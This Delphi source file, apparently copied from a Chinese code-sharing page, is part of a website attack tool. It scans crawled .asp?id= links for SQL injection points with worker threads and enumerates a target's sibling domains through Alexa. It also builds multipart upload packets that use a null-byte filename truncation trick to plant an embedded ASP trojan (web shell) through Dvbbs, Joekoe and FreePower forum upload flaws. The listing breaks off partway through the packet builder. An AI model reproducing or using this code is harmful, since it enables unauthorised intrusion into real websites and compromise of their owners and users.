?? mainunit.pas
字號:
for i := 0 to len - 1 do
begin
item := all.item(i, varempty);
if (Pos('.asp?', LowerCase(item)) > 1) and (Pos('id=', LowerCase(item)) > 1) and (Pos('(', item) = 0) then
if ListBox1.Items.IndexOf(item) = -1 then
ListBox1.Items.Add(item);
end; // for
end; // if Chkinject.Checked then
end; // if not Webbrowser1.Busy then
if Chkinject.Checked then {判斷是否需要在瀏覽網頁時檢測注入點}
begin
if Webbrowser1.LocationURL <> 'about:blank' then
begin
if webbrowser1.ReadyState = READYSTATE_COMPLETE then
begin
try
if ListBox1.Items.Count = 0 then
begin
LbShowprogress.Caption := '檢測完畢,沒有注入點!';
Exit;
end;
if Web_Scan_Inject_bool2 then
begin
ScanInjectTimer.Enabled := True;
SetLength(Web_Scan_Inject, 5);
LbShowprogress.Caption := '正在檢測注入點...';
WebInjectLsb.Clear;
Web_Scan_Inject_bool := False;
try
for j := 0 to 4 do
begin
Web_Scan_Inject[j] := WebThject.Create(Listbox1, WebInjectLsb, j + 1, 5);
Web_Scan_Inject[j].OnTerminate := Web_Scan_inject_Exit;
sleep(40);
end;
except
end; // try
end; // if Web_Scan_Inject_bool2 then
except
end; // try
end // if webbrowser1.ReadyState = READYSTATE_COMPLETE then
else
begin
if (Web_Scan_Inject_bool) and (ListBox1.Items.Count >= 25) then {檢測前25條連接地址}
begin
Web_Scan_Inject_bool := False;
Web_Scan_Inject_bool2 := False;
ScanInjectTimer.Enabled := True;
SetLength(Web_Scan_Inject, 5);
LbShowprogress.Caption := '正在檢測注入點...';
WebInjectLsb.Clear;
Web_Scan_Inject_bool := False;
try
for j := 0 to 4 do
begin
Web_Scan_Inject[j] := WebThject.Create(Listbox1, WebInjectLsb, j + 1, 5);
Web_Scan_Inject[j].OnTerminate := Web_Scan_inject_Exit;
sleep(40);
end; //for j := 0 to 4 do
except
end; // try
end; //if (Web_Scan_Inject_bool) and (ListBox1.Items.Count >= 25) then
end; // else
end; // if Webbrowser1.LocationURL <> 'about:blank' then
end; // if Chkinject.Checked then
except
end; // try
end;
procedure TMainForm.WebBrowser1ProgressChange(Sender: TObject; Progress, {網頁瀏覽 - 緩沖進度}
ProgressMax: Integer);
begin
if WebBrowser1.LocationURL <> 'about:blank' then
EdURL.Text := WebBrowser1.LocationURL
else
EdURL.Text := '';
Gauge1.MaxValue := ProgressMax; {設置進度條的最大值}
Gauge1.Progress := Progress; {設置進度條進度和瀏覽器同步}
end;
procedure TMainForm.WebBrowser1StatusTextChange(Sender: TObject;
const Text: WideString);
begin
Pane1.Caption := Text; {顯示緩沖信息}
end;
procedure GetAlexa; {檢測網站的世界排名的自定義過程}
var
HTML: string;
begin
with MainForm do
begin
if ChkAlexa.Checked then {判斷是否需要在瀏覽網頁是檢測網站排名?}
begin
HTML := UrlGetStr('http://data.alexa.com/data?cli=10&dat=snba&url=' + EdURL.Text); {讀取網頁代碼}
if Pos('" TEXT="', HTML) = 0 then
begin
LbAlexa.Caption := '網站排名:' + 'No Data'; {提示該站點暫時沒有任何排名}
Exit;
end;
{一句代碼分解網站排名}
LbAlexa.Caption := '網站排名:' + Copy(Copy(HTML, Pos('" TEXT="', HTML) + 8, 50), 1, Pos('"/>', Copy(HTML, Pos('" TEXT="', HTML) + 8, 50)) - 1);
end;
end;
end;
procedure TMainForm.btnRefreshClick(Sender: TObject); {集合5個按鈕的執行過程}
var
SList: TStrings;
i: integer;
D: DWORD;
begin
case TButton(sender).Tag of
0:
begin
try
WebBrowser1.Refresh; {刷新}
except end;
end;
1:
begin
try
WebBrowser1.GoForward; {前進}
except end;
end;
2:
begin
try
WebBrowser1.GoBack; {后退}
except end;
end;
3:
begin
try
PageControl2.TabIndex := 0; {回到瀏覽器面板}
if Trim(EdURL.Text) = '' then Exit; {沒有任何網址退出執行過程}
RzSplitter1.Percent := 89;
LbShowprogress.Caption := '讀取連接地址中...';
WebBrowser1.Navigate(EdURL.Text); {網頁瀏覽}
BeginThread(nil, 0, @GetAlexa, nil, 0, D); {創建檢測排名的線程}
except end;
end;
4:
begin
if EditCookie.Text = '' then Exit;
SList := TStringList.Create; {修改瀏覽器的Cookies}
Slist.CommaText := EditCookie.Text;
for i := 0 to SList.Count - 1 do {將Cookies分段提交給瀏覽器}
Doc.cookie := SList.Strings[i];
Webbrowser1.Refresh; {修改后Cookies后刷新瀏覽器}
SList.Free; {釋放}
end;
end;
end;
procedure TMainForm.OtherSiteTimerTimer(Sender: TObject); {旁注檢測 - 查詢二級域名}
var
p, p2: integer;
S: TStrings;
S2: string;
i: integer;
begin
try {不斷讀去瀏覽器上輸入的HTML文本}
OtherSiteMemo.Text := IHtmlDocument2(OtherSiteWeb.Document).Body.OuterText;
except
end;
if Pos('No Data', OtherSiteMemo.Text) > 1 then {判斷該域名數據存在數據記錄}
begin
OtherSiteTimer.Enabled := False;
OtherSiteWeb.Navigate('about:blank');
LbShowProgress.Caption := '該域名沒有任何數據!';
application.MessageBox('抱歉,該域名沒有任何數據!', '提示', 64);
Timer1.Enabled := False; {停止進度條前進}
Gauge1.Progress := 0;
Exit;
end;
if Pos('Where do', OtherSiteMemo.Text) > 1 then {判斷文本最下面的'Where do'字符,表示已讀取完畢}
begin
OtherSiteTimer.Enabled := False; {停止檢測}
try
LvOtherSite.Items.Clear; {清空存放二級域名的TListView}
except
end;
S := TStringlist.Create;
S.Text := OtherSiteMemo.Text; {賦值,保存HTML文本}
if pos('Where do', s.Text) > 1 then
begin
p := pos('Where do', s.Text); {得到最下面字符的位置}
p2 := pos('Reach for', s.Text); {得到上面字符的位置}
s.Text := copy(s.Text, p, p2 - p); {復制中間部分的字符}
i := 0;
while pos('~', s.Text) > 1 do {循環將二級域名讀去出來}
begin
inc(i);
p := pos('~', s.Strings[i]);
s2 := Copy(s.Strings[i], 1, p - 1);
if s2 <> 'Other websites' then
LvOtherSite.Items.Add.Caption := 'http://' + s2;
s.Text := stringreplace(s.Text, '~', '', [rfignorecase]);
end; // while pos('~', s.Text) > 1 do
end
else
begin
application.MessageBox('抱歉,該域名上沒有綁定任何二級域名!', '提示', 64);
OtherSiteTimer.Enabled := False;
LbShowProgress.Caption := '沒有查詢到任何二級域名!';
end; // if pos('Where do', s.Text) > 1 then
S.Free;
OtherSiteWeb.Navigate('about:blank'); {查詢完畢后回空空白頁面,省得瀏覽器占用內存}
LbShowProgress.Caption := '共查詢到:' + inttostr(LvOtherSite.Items.Count) + '個二級域名';
Timer1.Enabled := False; {停止進度條前進}
Gauge1.Progress := 0;
Exit;
end; // if Pos('Where do', OtherSiteMemo.Text) > 1 then
if (Pos('Where do', OtherSiteMemo.Text) = 0) and (Pos('About Alexa', OtherSiteMemo.Text) > 1) then
begin
OtherSiteTimer.Enabled := False;
LbShowProgress.Caption := '沒有查詢到任何二級域名!';
OtherSiteWeb.Navigate('about:blank');
Timer1.Enabled := False; {停止進度條前進}
Gauge1.Progress := 0;
application.MessageBox('抱歉,該域名上沒有綁定任何二級域名!', '提示', 64);
end;
end;
procedure TMainForm.BtnScanOtherSiteClick(Sender: TObject); {旁注檢測 - 調用查詢二級域名的過程}
var
D: DWORD;
begin
if Pos('.', EdOtherSite.Text) = 0 then Exit; {如果非合格網址,退出執行過程}
LvOtherSite.Items.Clear;
Gauge1.MaxValue := 100; {設置進度條最大值}
Timer1.Enabled := True;
LbShowProgress.Caption := '查詢二級域名中...';
OtherSiteMemo.Clear;
OtherSiteTimer.Enabled := True;
OtherSiteWeb.Navigate('http://www.alexa.com/data/details/traffic_details?q=&url=' + EdOtherSite.Text);
end;
function GetAspFile: string; {綜合上傳 - 讀取資源文件中的asp木馬文件或外部連接asp木馬函數}
var
FMemo: TStringStream;
TmpStr: TStrings;
Res: TResourceStream;
begin
if MainForm.RdDefault.Checked then {如果選中默認木馬,那么從資源文件中讀出asp木馬}
begin
FMemo := TStringStream.Create('');
Res := TResourceStream.Create(HInstance, PChar('diyasp'), 'aspfile');
Res.SaveToStream(FMemo);
Result := FMemo.DataString;
FMemo.Free;
end
else {否則連接外部的asp木馬}
begin
TmpStr := TStringList.Create;
TmpStr.LoadFromFile(MainForm.AspFilePath.Text); {載入asp木馬}
Result := TmpStr.Text;
TmpStr.Free;
end;
end;
procedure TMainForm.BtnBrowserFileClick(Sender: TObject); {綜合上傳 - 集合3個按鈕的執行過程}
begin
case TButton(Sender).Tag of
0: EdtCookies.PasteFromClipboard; {粘貼Cookies}
1:
begin
if EdShellPath.Text = '' then Exit; {打開木馬地址}
ShellExecute(handle, 'Open', 'EXPLORER.EXE', PChar(EdShellPath.Text), nil, SW_SHOW);
end;
end;
end;
procedure TMainForm.RdDefaultClick(Sender: TObject); {綜合上傳 - 選擇上傳的類型}
begin
case TRadioButton(Sender).Tag of
0: AspFilePath.Text := 'diy.asp'; {默認}
1: AspFilePath.Text := ''; {自選}
end;
end;
function GetHostDir(HostAddr: string): string; {綜合上傳 - 分解主機地址加目錄地址函數}
var
P: integer;
TmpHost: string;
begin
HostAddr := StringReplace(HostAddr, 'http://', '', [rfIgnoreCase]);
TmpHost := HostAddr;
while Pos('/', HostAddr) > 1 do
begin
P := Pos('/', HostAddr);
HostAddr := StringReplace(HostAddr, '/', ' ', [rfIgnoreCase]);
end;
Result := 'http://' + Copy(TmpHost, 1, P - 1);
end;
function GetHost(Host: string): string; {綜合上傳 - 分解主機地址函數}
var
P: integer;
begin
Host := StringReplace(Host, 'http://', '', [rfIgnoreCase]);
P := Pos('/', Host);
if P > 1 then
Result := Copy(Host, 1, P - 1)
else
Result := Copy(Host, 1, Length(Host));
end;
function GetPostPage(Host: string): string; {綜合上傳 - 分解Post頁面函數}
var
p: integer;
begin
Host := StringReplace(Host, 'http://', '', [rfIgnoreCase]);
P := Pos('/', Host);
Result := Copy(Host, P, Length(Host))
end;
function Dv_PostCdoe: string; {綜合上傳 - 構造上傳ASP木馬的數據包}
const
H = #13#10;
var
ASPFile: TStrings;
begin
Result := '';
Result := Result + '-----------------------------7d22f8371b051c' + H;
if MainForm.Rd_Joekoe.Checked then {如果選中的喬客上傳}
Result := Result + 'Content-Disposition: form-data; name="up_name"' + H + H
else
begin
if (MainForm.Rd_Dvbbs.Checked) or (MainForm.Rd_FreePower.Checked) then {否則}
Result := Result + 'Content-Disposition: form-data; name="filepath"' + H + H;
end;
if MainForm.RdCustom.Checked then {如果選中自定義上傳類型 - 開始定義路徑字段}
Result := Result + 'Content-Disposition: form-data; name="' + MainForm.EdPathField.Text + '"' + H + H;
if MainForm.RdDefault.Checked then
Result := Result + MainForm.AspFilePath.Text + #0 + H
else
Result := Result + ExtractFileName(MainForm.AspFilePath.Text) + #0 + H;
Result := Result + '-----------------------------7d22f8371b051c' + H;
Result := Result + 'Content-Disposition: form-data; name="act"' + H + H;
Result := Result + 'upload' + H;
Result := Result + '-----------------------------7d22f8371b051c' + H;
if MainForm.Rd_Dvbbs.Checked then {如果選中動網上傳}
Result := Result + 'Content-Disposition: form-data; name="file1"; filename="c:\image.gif"' + H;
if MainForm.Rd_FreePower.Checked then {如果選中動力上傳}
begin
if MainForm.RadPower1.Checked then {動力上傳類型1}
begin
if MainForm.RdDefault.Checked then {如果是默認的asp木馬}
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -